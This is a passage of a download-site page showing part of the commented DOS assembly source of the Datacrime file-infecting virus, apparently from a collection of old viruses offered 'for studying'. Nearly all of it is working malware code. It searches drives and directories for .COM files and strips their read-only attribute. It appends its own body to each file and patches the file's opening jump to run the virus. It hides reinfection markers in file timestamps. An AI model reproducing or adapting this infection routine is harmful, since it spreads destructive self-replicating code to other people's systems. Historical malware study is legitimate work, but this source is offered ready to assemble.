⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 datacrim.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
        MOV     AH,3BH                  ; Change current directory function
        LEA     DX,DB0417[SI+106H]      ; Current directory path name
        INT     21H                     ; DOS service
        INC     CS:DB03E2[SI+106H]      ; Increment directory count
        CALL    BP0260                  ; Get next directory
        JB      BP023C                  ; Branch if not found
        MOV     AL,CS:DB03E2[SI+106H]   ; Get directory count
BP0214: CMP     AL,0                    ; Is directory count zero yet?
        JNE     BP021D                  ; Branch if not
        ADD     BX,9                    ; ???
        JMP     BP01CE                  ; ??? Add directory name to path
 
BP021D: MOV     AH,4FH                  ; Find next file function
        PUSH    AX
        INT     21H                     ; DOS service
        POP     AX
        JNB     BP0228                  ; Branch if no error
        JMP     BP0130                  ; Select next disk drive
 
BP0228: PUSH    AX
        MOV     AH,2FH                  ; Get DTA function
        INT     21H                     ; DOS service
        ADD     BX,15H                  ; Address attributes byte
        MOV     AL,10H                  ; Directory attribute
        CMP     CS:[BX],AL              ; Is it a directory?
        POP     AX
        JNE     BP021D                  ; Branch if not
        DEC     AL                      ; Decrement directory count
        JMP     BP0214
 
        ; Reset disk and directory, and pass control to host
 
BP023C: MOV     AH,0EH                  ; Select disk function
        MOV     DL,CS:DB03F5[SI+106H]   ; Get original current disk
        INT     21H                     ; DOS service
        MOV     AH,3BH                  ; Change current directory function
        LEA     DX,DB03F6[SI+106H]      ; Original directory
        INT     21H                     ; DOS service
        CALL    BP0196                  ; Restore Int 24H
        MOV     AX,SI                   ; Copy relocation factor
        CMP     AX,0                    ; Is it zero (initial release)?
        JE      BP025C                  ; Terminate 8f not
        MOV     BX,0100H                ; Address beginning of host program
        JMP     BX                      ; Branch to host program
 
        ; Terminate
 
BP025C: MOV     AH,4CH                  ; End process function
        INT     21H                     ; DOS service
 
        ; Get next directory
 
BP0260: LEA     DI,DB0438+1[SI+106H]    ; Directory pathname
        MOV     CX,003AH                ; Length to clear
        MOV     AL,0                    ; Set to zero
        CLD
        REPZ    STOSB                   ; Clear pathname area
        MOV     AH,47H                  ; Get current directory function
        PUSH    SI
        MOV     DX,0                    ; Current drive
        LEA     SI,DB0438+1[SI+106H]    ; Directory pathname
        INT     21H                     ; DOS service
        POP     SI
        CLD
        LEA     DI,DB0438+1[SI+106H]    ; Directory pathname
        MOV     CX,0040H                ; Length to search
        MOV     AL,0                    ; Search for zero
        REPNZ   SCASB                   ; Search for end of pathname
        JZ      BP0289                  ; Branch if found
        STC
        RET
 
        ; Set file name wildcard on path
 
BP0289: DEC     DI                      ; \ Back two positions
        DEC     DI                      ; /
        MOV     AL,[DI]                 ; Get character
        CMP     AL,'\'                  ; Does path end in dir delim?
        JE      BP0294                  ; Branch if yes
        INC     DI                      ; Next position
        MOV     AL,'\'                  ; Make next character a dir delim
BP0294: MOV     [DI],AL                 ; Store character
        INC     DI                      ; Next position
        MOV     AL,'*'                  ; All files
        MOV     [DI],AL                 ; Store character
        INC     DI                      ; Next position
        MOV     AL,'.'                  ; Extension
        MOV     [DI],AL                 ; Store character
        INC     DI                      ; Next position
        MOV     AL,'*'                  ; all extensions
        MOV     [DI],AL                 ; Store character
        INC     DI                      ; Next position
        LEA     DX,DB0438[SI+106H]      ; Address directory pathname
        MOV     AH,4EH                  ; Find first file function
        MOV     CX,0010H                ; Find directories
        INT     21H                     ; DOS service
        JNB     BP02B4                  ; Branch if no error
        RET
 
        ; Valid directories only
 
BP02B4: MOV     AH,2FH                  ; Get DTA function
        INT     21H                     ; DOS service
        ADD     BX,15H                  ; Address attribute byte
        MOV     AL,10H                  ; Directory attribute
        CMP     CS:[BX],AL              ; Is it a directory?
        JNE     BP02D2                  ; Branch if not
        CLC
        MOV     AH,2FH                  ; Get DTA function
        INT     21H                     ; DOS service
        ADD     BX,1EH                  ; Address directory name
        MOV     AL,'.'                  ; Prepare to test first byte
        CMP     CS:[BX],AL              ; Is it a pointer to another dir?
        JE      BP02D2                  ; Branch if yes
        RET
 
BP02D2: MOV     AH,4FH                  ; Find next file function
        INT     21H                     ; DOS service
        JNB     BP02B4                  ; Branch if no error
        STC
        RET
 
        ; Find and infect a file
 
BP02DA: MOV     CS:DB03EB[SI+106H],0    ; Set infection completed switch off
        MOV     AH,4EH                  ; Find first file function
        MOV     CX,7                    ; All files
        LEA     DX,DB03ED[SI+106H]      ; Address '*.COM'
        INT     21H                     ; DOS service
        JNB     BP02F6                  ; Branch if no error
        RET
 
BP02EF: MOV     AH,4FH                  ; Find next file function
        INT     21H                     ; DOS service
        JNB     BP02F6                  ; Branch if no error
        RET
 
        ; Exclude COMMAND.COM
 
BP02F6: MOV     BX,00A4H                ; Address seventh letter of name
        MOV     AL,[BX]                 ; Get character
        CMP     AL,'D'                  ; Is it a 'D' (as in COMMAND.COM)?
        JNE     BP0301                  ; Branch if not
        JMP     BP02EF                  ; Next file
 
        ; Is it already infected?
 
BP0301: MOV     BX,0096H                ; Address time of file
        MOV     CX,[BX]                 ; Get time of file
        ADD     BX,2                    ; Address date of file
        MOV     DX,[BX]                 ; Get date of file
        MOV     AL,CL                   ; Copy low byte of time
        AND     AL,0E0H                 ; Isolate low part of minutes
        MOV     AH,AL                   ; Copy low part of minutes
        SHR     AL,1                    ; \
        SHR     AL,1                    ;  \
        SHR     AL,1                    ;   ) Move mins to secs position
        SHR     AL,1                    ;  /
        SHR     AL,1                    ; /
        OR      AL,AH                   ; Combine with minutes
        CMP     AL,CL                   ; Compare to actual time
        JNE     BP0323                  ; Branch if different
        JMP     BP02EF                  ; Find next file
 
        ; Uninfected COM file found
 
BP0323: PUSH    CX
        PUSH    DX
        MOV     AX,CS:DW009A            ; Get low-order length
        MOV     CS:DW03D3[SI+106H],AX   ; Save low-order length
        CALL    BP03AA                  ; Remove read-only attribute
        MOV     AX,3D02H                ; Open handle (R/W) function
        MOV     DX,009EH                ; File name
        INT     21H                     ; DOS service
        MOV     BX,AX                   ; Move handle
        MOV     AH,3FH                  ; Read handle function
        LEA     DX,DB03D5[SI+106H]      ; Store area for start of host
        MOV     CX,000AH                ; Read first ten bytes
        INT     21H                     ; DOS service
        MOV     AX,4202H                ; Move file pointer (EOF) function
        XOR     CX,CX                   ; \ No displacement
        XOR     DX,DX                   ; /
        INT     21H                     ; DOS service
        MOV     CX,OFFSET ENDADR        ; Length of virus
        NOP
        LEA     DX,[SI+106H]            ; Address start of virus
        MOV     AH,40H                  ; Write handle function
        INT     21H                     ; DOS service
        MOV     AX,4200H                ; Move file pointer (start) function
        XOR     CX,CX                   ; \ No displacement
        XOR     DX,DX                   ; /
        INT     21H                     ; DOS service
        MOV     AX,CS:DW009A            ; Get low-order length
        SUB     AX,3                    ; Subtract length of jump
        MOV     CS:DW03E0[SI+106H],AX   ; Store displacement in jump
        MOV     AH,40H                  ; Write handle function
        MOV     CX,3                    ; Length of jump
        LEA     DX,DB03DF[SI+106H]      ; Address jump instruction
        INT     21H                     ; DOS service
        POP     DX
        POP     CX
        AND     CL,0E0H                 ; Isolate low part of minutes
        MOV     AL,CL                   ; Copy low part of minutes
        SHR     CL,1                    ; \
        SHR     CL,1                    ;  \
        SHR     CL,1                    ;   ) Move mins to secs position
        SHR     CL,1                    ;  /
        SHR     CL,1                    ; /
        OR      CL,AL                   ; Combine with minutes
        MOV     AX,5701H                ; Set file date & time function
        INT     21H                     ; DOS service
        MOV     AH,3EH                  ; Close handle function
        INT     21H                     ; DOS service
        CALL    BP03C1                  ; Replace attributes
        MOV     CS:DB03EB[SI+106H],1    ; Set infection completed switch on
        MOV     AH,3BH                  ; Change current directory function
        LEA     DX,DB0417[SI+106H]      ; Current directory path name
        INT     21H                     ; DOS service
        RET
 
        ; Remove read-only attribute
 
BP03AA: MOV     DX,009EH                ; Address file name
        MOV     AX,4300H                ; Get file attributes function
        INT     21H                     ; DOS service
        MOV     CS:DW03F3[SI+106H],CX   ; Save attributes
        AND     CX,00FEH                ; Set off read-only
        MOV     AX,4301H                ; Set file attributes function
        INT     21H                     ; DOS service
        RET
 
        ; Replace attributes
 
BP03C1: MOV     CX,CS:DW03F3[SI+106H]   ; Get attributes
        MOV     DX,009EH                ; Address file name
        MOV     AX,4301H                ; Set file attributes function
        INT     21H                     ; DOS service
        RET
 
DW03CF  DW      1142H                   ; Original Int 24H segment
DW03D1  DW      175DH                   ; Original Int 24H offset
DW03D3  DW      0039H                   ; Low-order length of host
DB03D5  DB      0EBH, 02EH, 090H, 'Hello -'     ; Store area for start of host
DB03DF  DB      0E9H                    ; \ Jump for host program
DW03E0  DW      0                       ; /
DB03E2  DB      0BH
DB03E3  DB      2, 3, 0, 1, 0FFH        ; Disk drive table (C, D, A, B)
DW03E8  DW      0A0CH                   ; Start month and day
DB03EA  DB      0                       ; Start month
DB03EB  DB      0                       ; Infection completed switch
DB03EC  DB      3                       ; Disk drive pointer
DB03ED  DB      '*.COM', 0
DW03F3  DW      20H                     ; File attributes
DB03F5  DB      0                       ; Original current disk
DB03F6  DB      '\', 0, 'ENTURA', 19H DUP (0)   ; Original directory
DB0417  DB      '\', 0, 'NPAK', 1BH DUP (0)     ; Current directory
DB0438  DB      '\*.*', 3CH DUP (0)             ; Directory pathname
 
        DB      000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
        DB      0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
        DB      08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
 
ENDADR  EQU     $
 
CODE    ENDS
 
        END     START
 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -